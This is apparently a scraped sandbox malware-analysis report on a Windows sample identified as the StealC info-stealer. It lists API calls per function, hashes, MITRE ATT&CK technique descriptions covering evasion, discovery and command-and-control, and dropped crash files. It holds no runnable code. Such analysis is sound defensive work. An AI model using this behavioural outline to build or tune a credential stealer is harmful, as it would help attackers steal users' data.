Function 022D9547 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(022D3D55,80000000,00000003,00000000,00000003,00000080,00000000,?,022D3D55,?), ref: 022D9563
GetFileSizeEx.KERNEL32(000000FF,022D3D55), ref: 022D9580
CloseHandle.KERNEL32(000000FF), ref: 022D958E

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 79fde40eaafafd2070a01c7070736878cf65f8c040b1e7b612759facadf10e1e
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 0BF04F39E50208BBDB20DFF0DC49B9E77BAEB49710F10C664FA11A7284D676A6418B40

Function 022D6D5A Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,p/y,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 022D6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 022D6D4F
CloseHandle.KERNEL32(00000000), ref: 022D6D60
Sleep.KERNEL32(00001770), ref: 022D6D6B
CloseHandle.KERNEL32(?,00000000,?,p/y,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 022D6D81
ExitProcess.KERNEL32 ref: 022D6D89

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction ID: 66ee53d06b68e8e1c73c801d135d128400f911e38055f409c9dd961443cea070
Opcode Fuzzy Hash: 5d3735d569cffe7bbea000e7acfc03b16a2d4300877d619867e3aa12521868c8
Instruction Fuzzy Hash: F9F058789A030AAEEB10ABE1FC08BBD767AEB05741F201A18F502A5198CBF04100CA66

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406E94, 00406EAF, 00406DD2, 00406DAE, 00406E5E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 022D344C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C6307: InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 022C6376

ShellExecuteEx.SHELL32(0000003C), ref: 022D35C4

Strings

0y, xrefs: 022D3591
<, xrefs: 022D356B

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteInternetOpenShelllstrlen
String ID: <$0y
API String ID: 3003401316-3122580370
Opcode ID: 16d2995baf84a21b14fdaa21a84c5b405fb84e011815242cc6e2300966b204e3
Instruction ID: 54d128fbdb3fe3297c7b05da32ee64c066911053d963fd96d198d5f7b0475bc9
Opcode Fuzzy Hash: 16d2995baf84a21b14fdaa21a84c5b405fb84e011815242cc6e2300966b204e3
Instruction Fuzzy Hash: 3441FB719207089ACB08FFE4DD91EEDB77AAF24300F544659E00666198EF745B8ACF94

Function 022D35FF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C6307: InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 022C6376

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

ShellExecuteEx.SHELL32(0000003C), ref: 022D3751

Strings

<, xrefs: 022D36F7
0y, xrefs: 022D371D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteInternetOpenShelllstrlen
String ID: <$0y
API String ID: 3003401316-3122580370
Opcode ID: 29151d059d308d6fed0a80f0f72b90cc4d8a133155f9bf52268d45dccb1657ee
Instruction ID: c2a96483b2bfc13b7b99ee9f5047b900a3e0f392a335b8eb1835d5361647e437
Opcode Fuzzy Hash: 29151d059d308d6fed0a80f0f72b90cc4d8a133155f9bf52268d45dccb1657ee
Instruction Fuzzy Hash: 9F411C719603089BDB08FFE0DE91EEDB77AAF24300F544159E00666198EF742B8ACF90

Function 022D2EF7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

ShellExecuteEx.SHELL32(0000003C), ref: 022D2FEC

Strings

0y, xrefs: 022D2FB5
<, xrefs: 022D2FA0

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: <$0y
API String ID: 3031569214-3122580370
Opcode ID: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction ID: 80cbd763f894c9c6cc891cfcb1ec4039cbf5f6e29290f9a9bf4087d342ecaacd
Opcode Fuzzy Hash: a0ed4cbfe93d0cc974da6044f8369c0878916f44a8cf608972f3da16a68e91da
Instruction Fuzzy Hash: 5E41F971D203489BDB18EFE0D990FEDBB76AF20304F804559E006A7198EF742A8ACF51

Function 022C13F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 022D7B47: GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D7B77
Part of subcall function 022D7B47: RtlAllocateHeap.NTDLL(00000000), ref: 022D7B7E
Part of subcall function 022D7B47: GetComputerNameA.KERNEL32(?,00000104), ref: 022D7B96

Part of subcall function 022D7AB7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,022C141E), ref: 022D7AE7
Part of subcall function 022D7AB7: RtlAllocateHeap.NTDLL(00000000), ref: 022D7AEE
Part of subcall function 022D7AB7: GetUserNameA.ADVAPI32(00000104,00000104), ref: 022D7B06

ExitProcess.KERNEL32 ref: 022C142D

Strings

@.y, xrefs: 022C1412, 022C1418
p/y, xrefs: 022C13FA, 022C13FF

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID: @.y$p/y
API String ID: 3550813701-1348988211
Opcode ID: bf35b918970ebe437c849f5eab052a6292da9b1e5ad86061bb4b797f83571a8f
Instruction ID: 806c13aa53930e83d4d00f63bce609a4e4c58c13de699f736cd2c483fa5e31dd
Opcode Fuzzy Hash: bf35b918970ebe437c849f5eab052a6292da9b1e5ad86061bb4b797f83571a8f
Instruction Fuzzy Hash: 69E012B5A6130162DB1477F07C05B2A765F5F14306F445518EA0CC6105FA79E1118962

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 022D94C7 Relevance: 5.0, APIs: 4, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?), ref: 022D94D3
lstrcpyn.KERNEL32(0064AB88,?,?), ref: 022D94F7
lstrlen.KERNEL32(?), ref: 022D950E
wsprintfA.USER32 ref: 022D952E

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID:
API String ID: 1206339513-0
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: 7e26b8b8349ad769fab3316aff57c14d19104d6e548a59effb6e6b9c80821380
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: 8A01DA79540109FFCB04DFECD998EAE7BBAEF49394F108148F9099B305C635AA40DB95

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mJXdkcP4Wx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_2ead317adfca7a5c885730d9b5366fa3ef6_40a8189a_4f133548-9dba-471c-b0b7-8ea9e8a09d06\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_13c0dadb-6c2a-422b-89a2-c3122401e890\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_3f74de5f-6871-4df1-b2f8-1d585f241dad\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_404bf104-b55e-4e90-9546-8a0571655491\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_4e2f5a10-ead3-496c-986f-915636f27724\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_c24633ef-bfbf-41fd-820d-70b124cc9185\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mJXdkcP4Wx.exe_8bc0bd58a882d2b43234d4a4b56536fa1470e7_40a8189a_f1c726e3-c137-42b0-8c9a-332146f876d0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6F7.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD840.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD870.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDAC0.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB5D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB8D.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDFC1.tmp.dmp

Windows Analysis Report
mJXdkcP4Wx.exe

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON